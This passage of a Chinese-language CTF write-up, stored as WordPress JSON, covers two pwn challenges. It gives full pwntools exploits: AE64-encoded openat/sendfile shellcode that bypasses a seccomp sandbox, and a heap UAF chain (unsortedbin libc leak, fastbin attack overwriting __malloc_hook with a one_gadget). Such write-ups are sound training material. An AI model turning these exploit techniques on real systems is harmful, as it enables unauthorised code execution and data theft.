size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/N7BKQ74X5D6F_A7LSFG-1024x646.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"646\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/N7BKQ74X5D6F_A7LSFG-1024x646.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-77\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u65abfe55\">\u903b\u8f91\u5f88\u7b80\u5355\uff0c\u5c31\u662f\u76f4\u63a5\u6267\u884cshellcode\uff0c\u4f46\u662f\u9650\u5b9a\u53ea\u80fd\u7528\u6570\u5b57\u5b57\u6bcd\uff0c\u800c\u4e14\u8fd8\u7528\u4e86\u6c99\u7bb1\u3002<\/p>\n\n\n\n<p id=\"u38e497e0\">\u76f4\u63a5\u7ec8\u7aef\u7528seccomp-tools dump\u4e0d\u51fa\u6765\u54ea\u4e9b\u88ab\u7981\u7528\u4e86\uff0c\u56e0\u4e3aseccomp-tools\u5f97\u5230\u542f\u52a8\u6c99\u7bb1\u7684\u547d\u4ee4\u624d\u80fd\u68c0\u6d4b\u5230\uff0c\u6709\u4e24\u79cd\u65b9\u6cd5\uff0c\u4e00\u4e2a\u662f\u5728\u811a\u672c\u91cc\u9762\u5f00\uff1ap=process(&#8216;seccomp-tools dump \/home\/monke\/guochengbei\/1\/attachment&#8217;,shell=True)<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/B5PP6COGJLJLWIZF4K3-1024x559.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"559\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/B5PP6COGJLJLWIZF4K3-1024x559.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-78\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u60b7d800\">\u6216\u8005\u5728\u7ec8\u7aef\u8f93\u5165ctrl d\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/Y27HUSKXTBZJZ0UOC0AE.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"894\" height=\"692\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/Y27HUSKXTBZJZ0UOC0AE.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-82\"  sizes=\"auto, (max-width: 894px) 100vw, 894px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u05c0bb3a\">\u4e5f\u53ef\u4ee5\u624b\u52a8\u770b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/J4OCIBPE1BH5YE8@OTJ0Y-1024x672.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"672\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/J4OCIBPE1BH5YE8@OTJ0Y-1024x672.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-83\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u26a95508\">\u5bf9\u6bd4\u7cfb\u7edf\u8c03\u7528\u53f7<a href=\"https:\/\/blog.csdn.net\/qq_29343201\/article\/details\/52209588\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/blog.csdn.net\/qq_29343201\/article\/details\/52209588<\/a><\/p>\n\n\n\n<p id=\"ub4926d84\">\u53d1\u73b0\u7981\u7528\u4e86execve open write read \u7b49\u51fd\u6570\uff0c\u9700\u8981\u53e6\u8f9f\u8e4a\u5f84\u3002<\/p>\n\n\n\n<p id=\"u49d2d849\">\u4f7f\u7528openat+sendfile<\/p>\n\n\n\n<p id=\"u5e6670db\">sendfile\u53ef\u4ee5\u540c\u65f6\u5b8c\u6210read+write\u7684\u529f\u80fd<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/47670780\/1733731468159-3aec63b0-0b6c-4030-ac1b-d161d7c88138.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/47670780\/1733731468159-3aec63b0-0b6c-4030-ac1b-d161d7c88138.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p id=\"u73ce18ad\">\u7528ae64\u751f\u6210\u7eaf\u5b57\u6bcd\u6570\u5b57shellcode\uff0c\u6211\u4e00\u5f00\u59cb\u6253\u4e0d\u901a\uff0c\u662f\u56e0\u4e3a\u6ca1\u6709\u8bbe\u7f6e\u5bc4\u5b58\u5668\uff0c\u901a\u5e38call shellcode\u65f6\u5019\u90fd\u4f1a\u628ashellcode\u5730\u5740\u653e\u4e00\u4e2a\u5bc4\u5b58\u5668\u91cc\u9762\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/6EQL6ZJFQY9U1C727EW4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"984\" height=\"803\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/6EQL6ZJFQY9U1C727EW4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-79\"  sizes=\"auto, (max-width: 984px) 100vw, 984px\" \/><\/div><\/figure>\n\n\n\n<p id=\"ubb49cb73\">\u6240\u4ee5payload\u8981\u8fd9\u6837\u5199\uff1a<\/p>\n\n\n\n<p id=\"ue9317ed6\">payload= AE64().encode(asm(shellcraft.openat(-100,&#8221;flag&#8221;)+shellcraft.sendfile(1,3,0,100)+shellcraft.exit(0)),&#8217;rdx&#8217;)<\/p>\n\n\n\n<p id=\"uba2c3223\">\u5b9e\u6d4b\u4e0d\u7528exit0\u4e5f\u53ef\u4ee5\uff1a<\/p>\n\n\n\n<p id=\"u47299d18\">payload= AE64().encode(asm(shellcraft.openat(-100,&#8221;flag&#8221;)+shellcraft.sendfile(1,3,0,100)),&#8217;rdx&#8217;)<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>\u5b8c\u6574exp\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import*\nfrom ae64 import AE64\ncontext(arch=\"amd64\", os=\"linux\", log_level=\"info\")\np=remote(\"125.70.243.22\",31389)\n#p = process(\"\/home\/monke\/vmcourse_pwn\/7\/pwn.bin\")\npayload= AE64().encode(asm(shellcraft.openat(-100,\"flag\")+shellcraft.sendfile(1,3,0,100)),'rdx')\nprint(payload)\np.send(payload)\np.interactive()<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"vtable_hijackunsortedbin_leakfastbin_attack_by_uaf\"><\/span>vtable_hijack(unsortedbin leak+fastbin attack by uaf)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p id=\"ue2572f2b\">\u83dc\u5355\u9898\uff0c\u6709UAF\u548cedit\u4efb\u610f\u6ea2\u51fa<\/p>\n\n\n\n<p id=\"u1405e417\">\u601d\u8def\u662f\uff0c\u5148\u7528unsorted bin\u6765\u6cc4\u9732\u5e76\u8ba1\u7b97\u6240\u9700\u51fd\u6570\u5730\u5740\uff0c\u7136\u540e\u7528fastbin attack\u52ab\u6301malloc_hook\u4e3aone gadget<\/p>\n\n\n\n<p id=\"u873df872\">unsorted bin\u6cc4\u9732\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>add(0,0x80) #0\n\nadd(1,0x60) #1\n\ndelete(0)\n\nshow(0)\n\nmain_arena_add88=u64(io.recvuntil(b'\\n',drop=True).ljust(8,b'\\x00'))<\/code><\/pre>\n\n\n\n<p id=\"u486a12fb\"><\/p>\n\n\n\n<p id=\"ud232aee4\">\u7136\u540e\u5c31\u662f\u52a8\u8c03\u6765\u7b97\u504f\u79fb\uff0c\u8ba1\u7b97\u76ee\u6807\u51fd\u6570\u5730\u5740\uff0c\u4e0d\u591a\u8bf4\u4e86<\/p>\n\n\n\n<p id=\"u8d1f7442\">\u63a5\u7740\u662ffastbin attack:<\/p>\n\n\n\n<p id=\"uc52e2751\">\u7528UAF\u6765\u6253fastbin attack\uff0c\u601d\u8def\u662f\u5148\u91ca\u653e\u4e00\u4e2achunk \u8fdb\u5165fastbin\uff0c\u7136\u540e\u7528uaf\u6539\u5199\u8fd9\u4e2achunk\u7684\u6307\u9488\u4e3amalloc_hook-0x23\uff0c\u518d\u7533\u8bf7\u4e24\u4e2achunk\u5c31\u80fd\u62ff\u5230malloc_hook-0x23\uff0c\u6539\u5199malloc_hook\u4e3aone_gadget\u5c31\u884c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>delete(1)\n\nedit(1,0x8,p64(malloc_hook_addr-0x23))\n\nprint(hex(malloc_hook_addr-0x23))\n\nadd(2,0x60)#2\n\nadd(3,0x60)#3\n\npayload=cyclic(0x13)+p64(one_gadget)\n\nedit(3,len(payload),payload)<\/code><\/pre>\n\n\n\n<p id=\"u0bba6419\"><\/p>\n\n\n\n<p id=\"u4122976d\">\u6709\u4e24\u4e2a\u6ce8\u610f\u7684\u5730\u65b9\uff1a<\/p>\n\n\n\n<p id=\"u4b533880\">1.\u4e3a\u4ec0\u4e48\u4e0d\u76f4\u63a5\u7533\u8bf7\u5230malloc_hook\uff0c\u8981\u7533\u8bf7\u5230malloc_hook-0x23\uff1a<\/p>\n\n\n\n<p id=\"u801f65af\">\u56e0\u4e3afastbin\u6709\u68c0\u67e5\uff0cmalloc_hook\u5904\u8fc7\u4e0d\u4e86\u68c0\u67e5\uff0c\u800cmalloc_hook-0x23\u5904\u521a\u597d\u662f7f\uff08\u4e0d\u540c\u7248\u672c\u4f1a\u6709\u5dee\u5f02\uff0c\u5f97\u52a8\u8c03\uff09\uff0c\u5982\u679c\u7533\u8bf7\u7684fastbin chunk\u57280x70-0x80\uff0c\u4e5f\u5c31\u662fmalloc\u76840x60-0x70\u4e4b\u95f4\u65f6\u5c31\u80fd\u6ee1\u8db3\u5927\u5c0f\u68c0\u6d4b\u3002\u8fd9\u5c31\u662f\u4e3a\u4ec0\u4e48\u8981add(0x60)\u548cfd\u6307\u9488\u5f97\u4fee\u6539\u6210malloc_hook-0x23<\/p>\n\n\n\n<p id=\"u3c35b3ce\">2.\u4e3a\u4ec0\u4e48\u6700\u540epayload\u662fcyclic(0x13)\u800c\u4e0d\u662f0x23\uff0c\u56e0\u4e3a\u6307\u9488\u6307\u5411\u7684\u662fchunk\u5934\uff0cchunk\u5934\u5927\u5c0f\u53600x10\u3002<\/p>\n\n\n\n<p id=\"u47edb45e\">\u5b8c\u6574exp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\n\ncontext.log_level='info'\n\n#io=remote(\"125.70.243.22\",31148)\n\nio=process('\/home\/monke\/guochengbei\/4\/pwn')\n\ndef add(index,size):\n\nio.sendlineafter(b'choice:',b'1')\n\nio.sendlineafter(b'index:',str(index))\n\nio.sendlineafter(b'size:',str(size))\n\ndef delete(index):\n\nio.sendlineafter(b'choice:',b'2')\n\nio.sendlineafter(b'index:',str(index))\n\ndef show(index):\n\nio.sendlineafter(b'choice:',b'4')\n\nio.sendlineafter(b'index:',str(index))\n\ndef edit(index,length,content):\n\nio.sendlineafter(b'choice:',b'3')\n\nio.sendlineafter(b'index:',str(index))\n\nio.sendlineafter(b'length',str(length))\n\nio.sendlineafter(b'content',content)\n\nadd(0,0x80) #0\n\nadd(1,0x60) #1\n\ndelete(0)\n\nshow(0)\n\nio.recvuntil(\"\\n\")\n\nmain_arena_add88=u64(io.recvuntil(b'\\n',drop=True).ljust(8,b'\\x00'))\n\nlibc=ELF('\/home\/monke\/guochengbei\/4\/libc.so.6')\n\nmalloc_hook_addr = main_arena_add88-0x68\n\nlibc_base = malloc_hook_addr - libc.sym&#91;'__malloc_hook']\n\nprint(hex(libc_base))\n\nprint(hex(malloc_hook_addr))\n\none_gadget = libc_base + 0xd5c07\n\nsystem=libc_base+libc.sym&#91;\"system\"]\n\ndelete(1)\n\nedit(1,0x8,p64(malloc_hook_addr-0x23))\n\nprint(hex(malloc_hook_addr-0x23))\n\nadd(2,0x60)#2\n\n#gdb.attach(io)\n\nadd(3,0x60)#3\n\n#gdb.attach(io)\n\npayload=cyclic(0x13)+p64(one_gadget)\n\nedit(3,len(payload),payload)\n\n#gdb.attach(io)\n\nadd(4,0x10)#2\n\nio.interactive()<\/code><\/pre>\n\n\n\n<p id=\"uf1525612\"><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/DM2EEHPWA35VBT0X-1024x475.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"475\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/DM2EEHPWA35VBT0X-1024x475.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-85\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u88be3571\">\u6ce8\u610f\uff1aone_gadget\u53ea\u6709\u6700\u540e\u4e00\u4e2a\u80fd\u901a\uff0c\u800c\u4e14\u6709\u65f6\u5019\u6253\u4e0d\u901a\uff0c\u8981\u591a\u8bd5\u51e0\u6b21\uff01<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>beverage store(\u4f2a\u968f\u673a\u6570\u7834\u89e3+\u8c03\u7528libc\u51fd\u6570+\u4fee\u6539GOT\u8868) \u9898\u76ee\u5b9e\u73b0\u4e86\u8fd9\u6837\u4e00\u4e2a\u529f\u80fd\uff0c\u53d6\u5f53\u524d\u65f6 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-11","post","type-post","status-publish","format-standard","hentry","category-game"],"_links":{"self":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/11","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/comments?post=11"}],"version-history":[{"count":8,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/11\/revisions"}],"predecessor-version":[{"id":279,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/11\/revisions\/279"}],"wp:attachment":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/media?parent=11"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/categories?post=11"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/tags?post=11"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}